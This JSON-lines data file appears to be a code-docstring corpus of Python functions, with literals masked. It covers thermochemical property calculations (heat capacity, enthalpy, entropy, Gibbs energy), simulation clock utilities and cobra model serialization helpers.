{"signature": "def stoichiometry_coefficients(compound, elements):", "body": "stoichiometry = parse_compound(compound.strip()).count()<EOL>return [stoichiometry[element] for element in elements]<EOL>", "docstring": "Determine the stoichiometry coefficients of the specified elements in\nthe specified chemical compound.\n\n:param compound: Formula of a chemical compound, e.g. 'SiO2'.\n:param elements: List of elements, e.g. ['Si', 'O', 'C'].\n\n:returns: List of stoichiometry coefficients.", "id": "f15862:m14"}
{"signature": "def _get_default_data_path_():", "body": "module_path = os.path.dirname(sys.modules[__name__].__file__)<EOL>data_path = os.path.join(module_path, r'<STR_LIT>')<EOL>data_path = os.path.abspath(data_path)<EOL>return data_path<EOL>", "docstring": "Calculate the default path in which thermochemical data is stored.\n\n:returns: Default path.", "id": "f15866:m0"}
{"signature": "def _read_compound_from_factsage_file_(file_name):", "body": "with open(file_name) as f:<EOL><INDENT>lines = f.readlines()<EOL><DEDENT>compound = {'<STR_LIT>': lines[<NUM_LIT:0>].split('<STR_LIT:U+0020>')[<NUM_LIT:1>]}<EOL>print(compound['<STR_LIT>'])<EOL>compound['<STR_LIT>'] = phs = {}<EOL>started = False<EOL>phaseold = '<STR_LIT>'<EOL>recordold = '<STR_LIT:0>'<EOL>for line in lines:<EOL><INDENT>if started:<EOL><INDENT>if line.startswith('<STR_LIT:_>'):  <EOL><INDENT>break<EOL><DEDENT>line = line.replace('<STR_LIT>', '<STR_LIT>')<EOL>line = line.replace('<STR_LIT>', '<STR_LIT:U+0020>')<EOL>while '<STR_LIT:U+0020>' in line:<EOL><INDENT>line = line.replace('<STR_LIT:U+0020>', '<STR_LIT:U+0020>')<EOL><DEDENT>line = line.replace('<STR_LIT>', '<STR_LIT>')<EOL>line = line.replace('<STR_LIT:\\n>', '<STR_LIT>')<EOL>strings = line.split('<STR_LIT:U+0020>')<EOL>if len(strings) < <NUM_LIT:2>:  <EOL><INDENT>continue<EOL><DEDENT>phase = strings[<NUM_LIT:0>]<EOL>if phase != phaseold:  <EOL><INDENT>phaseold = phase<EOL>ph = phs[phase] = {}<EOL>ph['<STR_LIT>'] = phase<EOL>ph['<STR_LIT>'] = float(strings[<NUM_LIT:2>])<EOL>ph['<STR_LIT>'] = float(strings[<NUM_LIT:3>])<EOL>cprecs = ph['<STR_LIT>'] = {}<EOL>record = strings[<NUM_LIT:1>]<EOL>if record != recordold:  <EOL><INDENT>recordold = record<EOL>Tmax = float(strings[len(strings) - <NUM_LIT:1>])<EOL>cprecs[Tmax] = {}<EOL>cprecs[Tmax]['<STR_LIT>'] = float(strings[len(strings) - <NUM_LIT:2>])<EOL>cprecs[Tmax]['<STR_LIT>'] = float(strings[len(strings) - <NUM_LIT:1>])<EOL>cprecs[Tmax]['<STR_LIT>'] = []<EOL>t = {'<STR_LIT>': float(strings[<NUM_LIT:4>]),<EOL>'<STR_LIT>': float(strings[<NUM_LIT:5>])}<EOL>cprecs[Tmax]['<STR_LIT>'].append(t)<EOL>if len(strings) == <NUM_LIT:10>:<EOL><INDENT>t = {'<STR_LIT>': float(strings[<NUM_LIT:6>]),<EOL>'<STR_LIT>': float(strings[<NUM_LIT:7>])}<EOL>cprecs[Tmax]['<STR_LIT>'].append(t)<EOL><DEDENT><DEDENT>else:  <EOL><INDENT>t = {'<STR_LIT>': float(strings[<NUM_LIT:2>]),<EOL>'<STR_LIT>': float(strings[<NUM_LIT:3>])}<EOL>cprecs[Tmax]['<STR_LIT>'].append(t)<EOL>if len(strings) == <NUM_LIT:8>:<EOL><INDENT>t = {'<STR_LIT>': float(strings[<NUM_LIT:4>]),<EOL>'<STR_LIT>': float(strings[<NUM_LIT:5>])}<EOL>cprecs[Tmax]['<STR_LIT>'].append(t)<EOL><DEDENT><DEDENT><DEDENT>else:  <EOL><INDENT>ph = phs[phase]<EOL>record = strings[<NUM_LIT:1>]<EOL>if record != recordold:  <EOL><INDENT>recordold = record<EOL>Tmax = float(strings[len(strings) - <NUM_LIT:1>])<EOL>cprecs = ph['<STR_LIT>']<EOL>cprecs[Tmax] = {}<EOL>cprecs[Tmax]['<STR_LIT>'] = float(strings[len(strings) - <NUM_LIT:2>])<EOL>cprecs[Tmax]['<STR_LIT>'] = float(strings[len(strings) - <NUM_LIT:1>])<EOL>cprecs[Tmax]['<STR_LIT>'] = []<EOL>t = {'<STR_LIT>': float(strings[<NUM_LIT:2>]),<EOL>'<STR_LIT>': float(strings[<NUM_LIT:3>])}<EOL>cprecs[Tmax]['<STR_LIT>'].append(t)<EOL>if len(strings) == <NUM_LIT:8>:<EOL><INDENT>t = {'<STR_LIT>': float(strings[<NUM_LIT:4>]),<EOL>'<STR_LIT>': float(strings[<NUM_LIT:5>])}<EOL>cprecs[Tmax]['<STR_LIT>'].append(t)<EOL><DEDENT><DEDENT>else:  <EOL><INDENT>t = {'<STR_LIT>': float(strings[<NUM_LIT:2>]),<EOL>'<STR_LIT>': float(strings[<NUM_LIT:3>])}<EOL>cprecs[Tmax]['<STR_LIT>'].append(t)<EOL>if len(strings) == <NUM_LIT:8>:<EOL><INDENT>t = {'<STR_LIT>': float(strings[<NUM_LIT:4>]),<EOL>'<STR_LIT>': float(strings[<NUM_LIT:5>])}<EOL>cprecs[Tmax]['<STR_LIT>'].append(t)<EOL><DEDENT><DEDENT><DEDENT><DEDENT>if line.startswith('<STR_LIT:_>'):  <EOL><INDENT>started = True<EOL><DEDENT><DEDENT>for name, ph in phs.items():<EOL><INDENT>cprecs = ph['<STR_LIT>']<EOL>first = cprecs[min(cprecs.keys())]<EOL>first['<STR_LIT>'] = <NUM_LIT><EOL><DEDENT>return compound<EOL>", "docstring": "Build a dictionary containing the factsage thermochemical data of a\ncompound by reading the data from a file.\n\n:param file_name: Name of file to read the data from.\n\n:returns: Dictionary containing compound data.", "id": "f15866:m1"}
{"signature": "def _split_compound_string_(compound_string):", "body": "formula = compound_string.replace('<STR_LIT:]>', '<STR_LIT>').split('<STR_LIT:[>')[<NUM_LIT:0>]<EOL>phase = compound_string.replace('<STR_LIT:]>', '<STR_LIT>').split('<STR_LIT:[>')[<NUM_LIT:1>]<EOL>return formula, phase<EOL>", "docstring": "Split a compound's combined formula and phase into separate strings for\nthe formula and phase.\n\n:param compound_string: Formula and phase of a chemical compound, e.g.\n  'SiO2[S1]'.\n\n:returns: Formula of chemical compound.\n:returns: Phase of chemical compound.", "id": "f15866:m2"}
{"signature": "def _finalise_result_(compound, value, mass):", "body": "result = value / <NUM_LIT>  <EOL>result = result / compound.molar_mass  <EOL>result = result * mass  <EOL>return result<EOL>", "docstring": "Convert the value to its final form by unit conversions and multiplying\nby mass.\n\n:param compound: Compound object.\n:param value: [J/mol] Value to be finalised.\n:param mass: [kg] Mass of compound.\n\n:returns: [kWh] Finalised value.", "id": "f15866:m3"}
{"signature": "def _read_compound_from_auxi_file_(file_name):", "body": "with open(file_name) as f:<EOL><INDENT>return json.load(f)<EOL><DEDENT>", "docstring": "Build a dictionary containing the auxi thermochemical data of a compound by\nreading the data from a file.\n\n:param file_name: Name of file to read the data from.\n\n:returns: Dictionary containing compound data.", "id": "f15866:m4"}
{"signature": "def write_compound_to_auxi_file(directory, compound):", "body": "file_name = \"<STR_LIT>\" + compound.formula + \"<STR_LIT>\"<EOL>with open(os.path.join(directory, file_name), '<STR_LIT:w>') as f:<EOL><INDENT>f.write(str(compound))<EOL><DEDENT>", "docstring": "Writes a compound to an auxi file at the specified directory.\n\n:param dir: The directory.\n:param compound: The compound.", "id": "f15866:m5"}
{"signature": "def load_data_factsage(path='<STR_LIT>'):", "body": "compounds.clear()<EOL>if path == '<STR_LIT>':<EOL><INDENT>path = default_data_path<EOL><DEDENT>if not os.path.exists(path):<EOL><INDENT>warnings.warn('<STR_LIT>' % path)<EOL>return<EOL><DEDENT>files = glob.glob(os.path.join(path, '<STR_LIT>'))<EOL>for file in files:<EOL><INDENT>compound = Compound(_read_compound_from_factsage_file_(file))<EOL>compounds[compound.formula] = compound<EOL><DEDENT>", "docstring": "Load all the thermochemical data factsage files located at a path.\n\n:param path: Path at which the data files are located.", "id": "f15866:m6"}
{"signature": "def load_data_auxi(path='<STR_LIT>'):", "body": "compounds.clear()<EOL>if path == '<STR_LIT>':<EOL><INDENT>path = default_data_path<EOL><DEDENT>if not os.path.exists(path):<EOL><INDENT>warnings.warn('<STR_LIT>' % path)<EOL>return<EOL><DEDENT>files = glob.glob(os.path.join(path, '<STR_LIT>'))<EOL>for file in files:<EOL><INDENT>compound = Compound.read(file)<EOL>compounds[compound.formula] = compound<EOL><DEDENT>", "docstring": "Load all the thermochemical data auxi files located at a path.\n\n:param path: Path at which the data files are located.", "id": "f15866:m7"}
{"signature": "def list_compounds():", "body": "print('<STR_LIT>')<EOL>for compound in sorted(compounds.keys()):<EOL><INDENT>phases = compounds[compound].get_phase_list()<EOL>print('<STR_LIT>' % (compound, '<STR_LIT:U+002CU+0020>'.join(phases)))<EOL><DEDENT>", "docstring": "List all compounds that are currently loaded in the thermo module, and\ntheir phases.", "id": "f15866:m8"}
{"signature": "def get_datafile_references():", "body": "with open(get_path(__file__, \"<STR_LIT>\")) as f:<EOL><INDENT>return json.load(f)<EOL><DEDENT>", "docstring": "Retrieve all the references used by the datafiles.", "id": "f15866:m9"}
{"signature": "def molar_mass(compound):", "body": "return mm(compound) / <NUM_LIT><EOL>", "docstring": "Determine the molar mass of a chemical compound.\n\n:param compound: Formula of a chemical compound, e.g. 'Fe2O3'.\n\n:returns: [kg/mol] Molar mass.", "id": "f15866:m10"}
{"signature": "def Cp(compound_string, T, mass=<NUM_LIT:1.0>):", "body": "formula, phase = _split_compound_string_(compound_string)<EOL>TK = T + <NUM_LIT><EOL>compound = compounds[formula]<EOL>result = compound.Cp(phase, TK)<EOL>return _finalise_result_(compound, result, mass)<EOL>", "docstring": "Calculate the heat capacity of the compound for the specified temperature\nand mass.\n\n:param compound_string: Formula and phase of chemical compound, e.g.\n  'Fe2O3[S1]'.\n:param T: [\u00b0C] temperature\n:param mass: [kg]\n\n:returns: [kWh/K] Heat capacity.", "id": "f15866:m11"}
{"signature": "def H(compound_string, T, mass=<NUM_LIT:1.0>):", "body": "formula, phase = _split_compound_string_(compound_string)<EOL>TK = T + <NUM_LIT><EOL>compound = compounds[formula]<EOL>result = compound.H(phase, TK)<EOL>return _finalise_result_(compound, result, mass)<EOL>", "docstring": "Calculate the enthalpy of the compound for the specified temperature and\nmass.\n\n:param compound_string: Formula and phase of chemical compound, e.g.\n  'Fe2O3[S1]'.\n:param T: [\u00b0C] temperature\n:param mass: [kg]\n\n:returns: [kWh] Enthalpy.", "id": "f15866:m12"}
{"signature": "def S(compound_string, T, mass=<NUM_LIT:1.0>):", "body": "formula, phase = _split_compound_string_(compound_string)<EOL>TK = T + <NUM_LIT><EOL>compound = compounds[formula]<EOL>result = compound.S(phase, TK)<EOL>return _finalise_result_(compound, result, mass)<EOL>", "docstring": "Calculate the entropy of the compound for the specified temperature and\nmass.\n\n:param compound_string: Formula and phase of chemical compound, e.g.\n  'Fe2O3[S1]'.\n:param T: [\u00b0C] temperature\n:param mass: [kg]\n\n:returns: [kWh/K] Entropy.", "id": "f15866:m13"}
{"signature": "def G(compound_string, T, mass=<NUM_LIT:1.0>):", "body": "formula, phase = _split_compound_string_(compound_string)<EOL>TK = T + <NUM_LIT><EOL>compound = compounds[formula]<EOL>result = compound.G(phase, TK)<EOL>return _finalise_result_(compound, result, mass)<EOL>", "docstring": "Calculate the Gibbs free energy of the compound for the specified\ntemperature and mass.\n\n:param compound_string: Formula and phase of chemical compound, e.g.\n  'Fe2O3[S1]'.\n:param T: [\u00b0C] temperature\n:param mass: [kg]\n\n\n:returns: [kWh] Gibbs free energy.", "id": "f15866:m14"}
{"signature": "def Cp(self, T):", "body": "result = <NUM_LIT:0.0><EOL>for c, e in zip(self._coefficients, self._exponents):<EOL><INDENT>result += c*T**e<EOL><DEDENT>return result<EOL>", "docstring": "Calculate the heat capacity of the compound phase.\n\n:param T: [K] temperature\n\n:returns: [J/mol/K] Heat capacity.", "id": "f15866:c0:m2"}
{"signature": "def H(self, T):", "body": "result = <NUM_LIT:0.0><EOL>if T < self.Tmax:<EOL><INDENT>lT = T<EOL><DEDENT>else:<EOL><INDENT>lT = self.Tmax<EOL><DEDENT>Tref = self.Tmin<EOL>for c, e in zip(self._coefficients, self._exponents):<EOL><INDENT>if e == -<NUM_LIT:1.0>:<EOL><INDENT>result += c * math.log(lT/Tref)<EOL><DEDENT>else:<EOL><INDENT>result += c * (lT**(e+<NUM_LIT:1.0>) - Tref**(e+<NUM_LIT:1.0>)) / (e+<NUM_LIT:1.0>)<EOL><DEDENT><DEDENT>return result<EOL>", "docstring": "Calculate the portion of enthalpy of the compound phase covered by this\nCp record.\n\n:param T: [K] temperature\n\n:returns: [J/mol] Enthalpy.", "id": "f15866:c0:m3"}
{"signature": "def S(self, T):", "body": "result = <NUM_LIT:0.0><EOL>if T < self.Tmax:<EOL><INDENT>lT = T<EOL><DEDENT>else:<EOL><INDENT>lT = self.Tmax<EOL><DEDENT>Tref = self.Tmin<EOL>for c, e in zip(self._coefficients, self._exponents):<EOL><INDENT>e_modified = e - <NUM_LIT:1.0><EOL>if e_modified == -<NUM_LIT:1.0>:<EOL><INDENT>result += c * math.log(lT/Tref)<EOL><DEDENT>else:<EOL><INDENT>e_mod = e_modified + <NUM_LIT:1.0><EOL>result += c * (lT**e_mod - Tref**e_mod) / e_mod<EOL><DEDENT><DEDENT>return result<EOL>", "docstring": "Calculate the portion of entropy of the compound phase covered by this\nCp record.\n\n:param T: [K] temperature\n\n:returns: Entropy. [J/mol/K]", "id": "f15866:c0:m4"}
{"signature": "def Zero_mag(self, T):", "body": "return <NUM_LIT:0.0><EOL>", "docstring": "Return a zero value for a phase with no magnetic property data.\n\n:param T: [K] temperature\n\n:returns: Zero.", "id": "f15866:c1:m3"}
{"signature": "def Cp(self, T):", "body": "<EOL>for Tmax in sorted([float(TT) for TT in self._Cp_records.keys()]):<EOL><INDENT>if T < Tmax:<EOL><INDENT>return self._Cp_records[str(Tmax)].Cp(T) + self.Cp_mag(T)<EOL><DEDENT><DEDENT>Tmax = max([float(TT) for TT in self._Cp_records.keys()])<EOL>return self._Cp_records[str(Tmax)].Cp(Tmax) + self.Cp_mag(T)<EOL>", "docstring": "Calculate the heat capacity of the compound phase at the specified\ntemperature.\n\n:param T: [K] temperature\n\n:returns: [J/mol/K] The heat capacity of the compound phase.", "id": "f15866:c1:m4"}
{"signature": "def Cp_mag(self, T):", "body": "tau = T / self.Tc_mag<EOL>if tau <= <NUM_LIT:1.0>:<EOL><INDENT>c = (self._B_mag*(<NUM_LIT:2>*tau**<NUM_LIT:3> + <NUM_LIT:2>*tau**<NUM_LIT:9>/<NUM_LIT:3> + <NUM_LIT:2>*tau**<NUM_LIT:15>/<NUM_LIT:5>))/self._D_mag<EOL><DEDENT>else:<EOL><INDENT>c = (<NUM_LIT:2>*tau**-<NUM_LIT:5> + <NUM_LIT:2>*tau**-<NUM_LIT:15>/<NUM_LIT:3> + <NUM_LIT:2>*tau**-<NUM_LIT>/<NUM_LIT:5>)/self._D_mag<EOL><DEDENT>result = R*math.log(self.beta0_mag + <NUM_LIT:1>)*c<EOL>return result<EOL>", "docstring": "Calculate the phase's magnetic contribution to heat capacity at the\nspecified temperature.\n\n:param T: [K] temperature\n\n:returns: [J/mol/K] The magnetic heat capacity of the compound phase.\n\nDinsdale, A. T. (1991). SGTE data for pure elements. Calphad, 15(4),\n317\u2013425. http://doi.org/10.1016/0364-5916(91)90030-N", "id": "f15866:c1:m5"}
{"signature": "def H(self, T):", "body": "result = self.DHref<EOL>for Tmax in sorted([float(TT) for TT in self._Cp_records.keys()]):<EOL><INDENT>result += self._Cp_records[str(Tmax)].H(T)<EOL>if T <= Tmax:<EOL><INDENT>return result + self.H_mag(T)<EOL><DEDENT><DEDENT>Tmax = max([float(TT) for TT in self._Cp_records.keys()])<EOL>result += self.Cp(Tmax)*(T - Tmax)<EOL>return result + self.H_mag(T)<EOL>", "docstring": "Calculate the enthalpy of the compound phase at the specified\ntemperature.\n\n:param T: [K] temperature\n\n:returns: [J/mol] The enthalpy of the compound phase.", "id": "f15866:c1:m6"}
{"signature": "def H_mag(self, T):", "body": "tau = T / self.Tc_mag<EOL>if tau <= <NUM_LIT:1.0>:<EOL><INDENT>h = (-self._A_mag/tau +<EOL>self._B_mag*(tau**<NUM_LIT:3>/<NUM_LIT:2> + tau**<NUM_LIT:9>/<NUM_LIT:15> + tau**<NUM_LIT:15>/<NUM_LIT>))/self._D_mag<EOL><DEDENT>else:<EOL><INDENT>h = -(tau**-<NUM_LIT:5>/<NUM_LIT:2> + tau**-<NUM_LIT:15>/<NUM_LIT> + tau**-<NUM_LIT>/<NUM_LIT>)/self._D_mag<EOL><DEDENT>return R*T*math.log(self.beta0_mag + <NUM_LIT:1>)*h<EOL>", "docstring": "Calculate the phase's magnetic contribution to enthalpy at the\nspecified temperature.\n\n:param T: [K] temperature\n\n:returns: [J/mol] The magnetic enthalpy of the compound phase.\n\nDinsdale, A. T. (1991). SGTE data for pure elements. Calphad, 15(4),\n317\u2013425. http://doi.org/10.1016/0364-5916(91)90030-N", "id": "f15866:c1:m7"}
{"signature": "def S(self, T):", "body": "result = self.Sref<EOL>for Tmax in sorted([float(TT) for TT in self._Cp_records.keys()]):<EOL><INDENT>result += self._Cp_records[str(Tmax)].S(T)<EOL>if T <= Tmax:<EOL><INDENT>return result + self.S_mag(T)<EOL><DEDENT><DEDENT>Tmax = max([float(TT) for TT in self._Cp_records.keys()])<EOL>result += self.Cp(Tmax)*math.log(T / Tmax)<EOL>return result + self.S_mag(T)<EOL>", "docstring": "Calculate the entropy of the compound phase at the specified\ntemperature.\n\n:param T: [K] temperature\n\n:returns: [J/mol/K] The entropy of the compound phase.", "id": "f15866:c1:m8"}
{"signature": "def S_mag(self, T):", "body": "tau = T / self.Tc_mag<EOL>if tau <= <NUM_LIT:1.0>:<EOL><INDENT>s = <NUM_LIT:1> - (self._B_mag*(<NUM_LIT:2>*tau**<NUM_LIT:3>/<NUM_LIT:3> + <NUM_LIT:2>*tau**<NUM_LIT:9>/<NUM_LIT> + <NUM_LIT:2>*tau**<NUM_LIT:15>/<NUM_LIT>)) /self._D_mag<EOL><DEDENT>else:<EOL><INDENT>s = (<NUM_LIT:2>*tau**-<NUM_LIT:5>/<NUM_LIT:5> + <NUM_LIT:2>*tau**-<NUM_LIT:15>/<NUM_LIT> + <NUM_LIT:2>*tau**-<NUM_LIT>/<NUM_LIT>)/self._D_mag<EOL><DEDENT>return -R*math.log(self.beta0_mag + <NUM_LIT:1>)*s<EOL>", "docstring": "Calculate the phase's magnetic contribution to entropy at the\nspecified temperature.\n\n:param T: [K] temperature\n\n:returns: [J/mol/K] The magnetic entropy of the compound phase.\n\nDinsdale, A. T. (1991). SGTE data for pure elements. Calphad, 15(4),\n317\u2013425. http://doi.org/10.1016/0364-5916(91)90030-N", "id": "f15866:c1:m9"}
{"signature": "def G(self, T):", "body": "h = self.DHref<EOL>s = self.Sref<EOL>for Tmax in sorted([float(TT) for TT in self._Cp_records.keys()]):<EOL><INDENT>h = h + self._Cp_records[str(Tmax)].H(T)<EOL>s = s + self._Cp_records[str(Tmax)].S(T)<EOL>if T <= Tmax:<EOL><INDENT>return h - T * s + self.G_mag(T)<EOL><DEDENT><DEDENT>Tmax = max([float(TT) for TT in self._Cp_records.keys()])<EOL>h = h + self.Cp(Tmax)*(T - Tmax)<EOL>s = s + self.Cp(Tmax)*math.log(T / Tmax)<EOL>return h - T * s + self.G_mag(T)<EOL>", "docstring": "Calculate the heat capacity of the compound phase at the specified\n        temperature.\n\n        :param T: [K] temperature\n\n        :returns: [J/mol] The Gibbs free energy of the compound phase.", "id": "f15866:c1:m10"}
{"signature": "def G_mag(self, T):", "body": "tau = T / self.Tc_mag<EOL>if tau <= <NUM_LIT:1.0>:<EOL><INDENT>g = <NUM_LIT:1> - (self._A_mag/tau +<EOL>self._B_mag*(tau**<NUM_LIT:3>/<NUM_LIT:6> + tau**<NUM_LIT:9>/<NUM_LIT> + tau**<NUM_LIT:15>/<NUM_LIT>)) /self._D_mag<EOL><DEDENT>else:<EOL><INDENT>g = -(tau**-<NUM_LIT:5>/<NUM_LIT:10> + tau**-<NUM_LIT:15>/<NUM_LIT> + tau**-<NUM_LIT>/<NUM_LIT>)/self._D_mag<EOL><DEDENT>return R*T*math.log(self.beta0_mag + <NUM_LIT:1>)*g<EOL>", "docstring": "Calculate the phase's magnetic contribution to Gibbs energy at the\nspecified temperature.\n\n:param T: [K] temperature\n\n:returns: [J/mol] The magnetic Gibbs energy of the compound phase.\n\nDinsdale, A. T. (1991). SGTE data for pure elements. Calphad, 15(4),\n317\u2013425. http://doi.org/10.1016/0364-5916(91)90030-N", "id": "f15866:c1:m11"}
{"signature": "def get_phase_list(self):", "body": "return sorted(self._phases.keys())<EOL>", "docstring": "Get a list of the compound's phases.\n\n:returns: List of phases.", "id": "f15866:c2:m2"}
{"signature": "def Cp(self, phase, T):", "body": "if phase not in self._phases:<EOL><INDENT>raise Exception(\"<STR_LIT>\" %<EOL>(phase, self.formula))<EOL><DEDENT>return self._phases[phase].Cp(T)<EOL>", "docstring": "Calculate the heat capacity of a phase of the compound at a specified\ntemperature.\n\n:param phase: A phase of the compound, e.g. 'S', 'L', 'G'.\n:param T: [K] temperature\n\n:returns: [J/mol/K] Heat capacity.", "id": "f15866:c2:m4"}
{"signature": "def H(self, phase, T):", "body": "try:<EOL><INDENT>return self._phases[phase].H(T)<EOL><DEDENT>except KeyError:<EOL><INDENT>raise Exception(\"<STR_LIT>\"<EOL>.format(phase, self.formula))<EOL><DEDENT>", "docstring": "Calculate the enthalpy of a phase of the compound at a specified\ntemperature.\n\n:param phase: A phase of the compound, e.g. 'S', 'L', 'G'.\n:param T: [K] temperature\n\n:returns: [J/mol] Enthalpy.", "id": "f15866:c2:m5"}
{"signature": "def S(self, phase, T):", "body": "try:<EOL><INDENT>return self._phases[phase].S(T)<EOL><DEDENT>except KeyError:<EOL><INDENT>raise Exception(\"<STR_LIT>\"<EOL>.format(phase, self.formula))<EOL><DEDENT>", "docstring": "Calculate the enthalpy of a phase of the compound at a specified\ntemperature.\n\n:param phase: A phase of the compound, e.g. 'S', 'L', 'G'.\n:param T: [K] temperature\n\n:returns: [J/mol/K] Entropy.", "id": "f15866:c2:m6"}
{"signature": "def G(self, phase, T):", "body": "try:<EOL><INDENT>return self._phases[phase].G(T)<EOL><DEDENT>except KeyError:<EOL><INDENT>raise Exception(\"<STR_LIT>\"<EOL>.format(phase, self.formula))<EOL><DEDENT>", "docstring": "Calculate the Gibbs free energy of a phase of the compound at a\nspecified temperature.\n\n:param phase: A phase of the compound, e.g. 'S', 'L', 'G'.\n:param T: [K] temperature\n\n:returns: [J/mol] Gibbs free energy.", "id": "f15866:c2:m7"}
{"signature": "def render(self, format=ReportFormat.printout):", "body": "table = self._generate_table_()<EOL>if format == ReportFormat.printout:<EOL><INDENT>print(tabulate(table, headers=\"<STR_LIT>\", tablefmt=\"<STR_LIT>\"))<EOL><DEDENT>elif format == ReportFormat.latex:<EOL><INDENT>self._render_latex_(table)<EOL><DEDENT>elif format == ReportFormat.txt:<EOL><INDENT>self._render_txt_(table)<EOL><DEDENT>elif format == ReportFormat.csv:<EOL><INDENT>self._render_csv_(table)<EOL><DEDENT>elif format == ReportFormat.string:<EOL><INDENT>return str(tabulate(table, headers=\"<STR_LIT>\", tablefmt=\"<STR_LIT>\"))<EOL><DEDENT>elif format == ReportFormat.matplotlib:<EOL><INDENT>self._render_matplotlib_()<EOL><DEDENT>elif format == ReportFormat.png:<EOL><INDENT>if self.output_path is None:<EOL><INDENT>self._render_matplotlib_()<EOL><DEDENT>else:<EOL><INDENT>self._render_matplotlib_(True)<EOL><DEDENT><DEDENT>", "docstring": "Render the report in the specified format\n\n:param format: The format. The default format is to print\n  the report to the console.\n\n:returns: If the format was set to 'string' then a string\n  representation of the report is returned.", "id": "f15870:c1:m3"}
{"signature": "def __init__(self, name, description=None,<EOL>start_datetime=datetime.min,<EOL>timestep_period_duration=TimePeriod.month,<EOL>timestep_period_count=<NUM_LIT:1>):", "body": "super(Clock, self).__init__(name, description)<EOL>self.start_datetime = start_datetime<EOL>self.timestep_period_duration = timestep_period_duration<EOL>self.timestep_period_count = timestep_period_count<EOL>self.timestep_ix = <NUM_LIT:0><EOL>", "docstring": "Initialise the object.\n\n        :param name: The name.\n        :param description: The description.\n        :param start_datetime: The start datetime.\n        :param timestep_period_duration: The duration of each time period.\n        :param timestep_period_count: The number of periods that makes up a\n          timestep.", "id": "f15874:c1:m0"}
{"signature": "def tick(self):", "body": "self.timestep_ix += <NUM_LIT:1><EOL>", "docstring": "Increment the clock's timestep index.", "id": "f15874:c1:m1"}
{"signature": "def reset(self):", "body": "self.timestep_ix = <NUM_LIT:0><EOL>", "docstring": "Resets the clock's timestep index to '0'.", "id": "f15874:c1:m2"}
{"signature": "def get_datetime_at_period_ix(self, ix):", "body": "if self.timestep_period_duration == TimePeriod.millisecond:<EOL><INDENT>return self.start_datetime + timedelta(milliseconds=ix)<EOL><DEDENT>elif self.timestep_period_duration == TimePeriod.second:<EOL><INDENT>return self.start_datetime + timedelta(seconds=ix)<EOL><DEDENT>elif self.timestep_period_duration == TimePeriod.minute:<EOL><INDENT>return self.start_datetime + timedelta(minutes=ix)<EOL><DEDENT>elif self.timestep_period_duration == TimePeriod.hour:<EOL><INDENT>return self.start_datetime + timedelta(hours=ix)<EOL><DEDENT>elif self.timestep_period_duration == TimePeriod.day:<EOL><INDENT>return self.start_datetime + relativedelta(days=ix)<EOL><DEDENT>elif self.timestep_period_duration == TimePeriod.week:<EOL><INDENT>return self.start_datetime + relativedelta(days=ix*<NUM_LIT:7>)<EOL><DEDENT>elif self.timestep_period_duration == TimePeriod.month:<EOL><INDENT>return self.start_datetime + relativedelta(months=ix)<EOL><DEDENT>elif self.timestep_period_duration == TimePeriod.year:<EOL><INDENT>return self.start_datetime + relativedelta(years=ix)<EOL><DEDENT>", "docstring": "Get the datetime at a given period.\n\n:param period: The index of the period.\n\n:returns: The datetime.", "id": "f15874:c1:m3"}
{"signature": "def get_datetime(self):", "body": "return self.get_datetime_at_period_ix(self.timestep_ix)<EOL>", "docstring": "Get the clock's current datetime.\n\n:returns: The datetime.", "id": "f15874:c1:m4"}
{"signature": "def get_path_relative_to_module(module_file_path, relative_target_path):", "body": "module_path = os.path.dirname(module_file_path)<EOL>path = os.path.join(module_path, relative_target_path)<EOL>path = os.path.abspath(path)<EOL>return path<EOL>", "docstring": "Calculate a path relative to the specified module file.\n\n:param module_file_path: The file path to the module.", "id": "f15876:m0"}
{"signature": "def get_date(date):", "body": "if type(date) is str:<EOL><INDENT>return datetime.strptime(date, '<STR_LIT>').date()<EOL><DEDENT>else:<EOL><INDENT>return date<EOL><DEDENT>", "docstring": "Get the date from a value that could be a date object or a string.\n\n:param date: The date object or string.\n\n:returns: The date object.", "id": "f15876:m1"}
{"signature": "def _fix_type(value):", "body": "<EOL>if isinstance(value, string_types):<EOL><INDENT>return str(value)<EOL><DEDENT>if isinstance(value, float_):<EOL><INDENT>return float(value)<EOL><DEDENT>if isinstance(value, bool_):<EOL><INDENT>return bool(value)<EOL><DEDENT>if isinstance(value, set):<EOL><INDENT>return list(value)<EOL><DEDENT>if isinstance(value, dict):<EOL><INDENT>return OrderedDict((key, value[key]) for key in sorted(value))<EOL><DEDENT>if value.__class__.__name__ == \"<STR_LIT>\":<EOL><INDENT>return str(value)<EOL><DEDENT>if value is None:<EOL><INDENT>return \"<STR_LIT>\"<EOL><DEDENT>return value<EOL>", "docstring": "convert possible types to str, float, and bool", "id": "f15887:m0"}
{"signature": "def _update_optional(cobra_object, new_dict, optional_attribute_dict,<EOL>ordered_keys):", "body": "for key in ordered_keys:<EOL><INDENT>default = optional_attribute_dict[key]<EOL>value = getattr(cobra_object, key)<EOL>if value is None or value == default:<EOL><INDENT>continue<EOL><DEDENT>new_dict[key] = _fix_type(value)<EOL><DEDENT>", "docstring": "update new_dict with optional attributes from cobra_object", "id": "f15887:m1"}
{"signature": "def model_to_dict(model, sort=False):", "body": "obj = OrderedDict()<EOL>obj[\"<STR_LIT>\"] = list(map(metabolite_to_dict, model.metabolites))<EOL>obj[\"<STR_LIT>\"] = list(map(reaction_to_dict, model.reactions))<EOL>obj[\"<STR_LIT>\"] = list(map(gene_to_dict, model.genes))<EOL>obj[\"<STR_LIT:id>\"] = model.id<EOL>_update_optional(model, obj, _OPTIONAL_MODEL_ATTRIBUTES,<EOL>_ORDERED_OPTIONAL_MODEL_KEYS)<EOL>if sort:<EOL><INDENT>get_id = itemgetter(\"<STR_LIT:id>\")<EOL>obj[\"<STR_LIT>\"].sort(key=get_id)<EOL>obj[\"<STR_LIT>\"].sort(key=get_id)<EOL>obj[\"<STR_LIT>\"].sort(key=get_id)<EOL><DEDENT>return obj<EOL>", "docstring": "Convert model to a dict.\n\n    Parameters\n    ----------\n    model : cobra.Model\n        The model to reformulate as a dict.\n    sort : bool, optional\n        Whether to sort the metabolites, reactions, and genes or maintain the\n        order defined in the model.\n\n    Returns\n    -------\n    OrderedDict\n        A dictionary with elements, 'genes', 'compartments', 'id',\n        'metabolites', 'notes' and 'reactions'; where 'metabolites', 'genes'\n        and 'metabolites' are in turn lists with dictionaries holding all\n        attributes to form the corresponding object.\n\n    See Also\n    --------\n    cobra.io.model_from_dict", "id": "f15887:m8"}
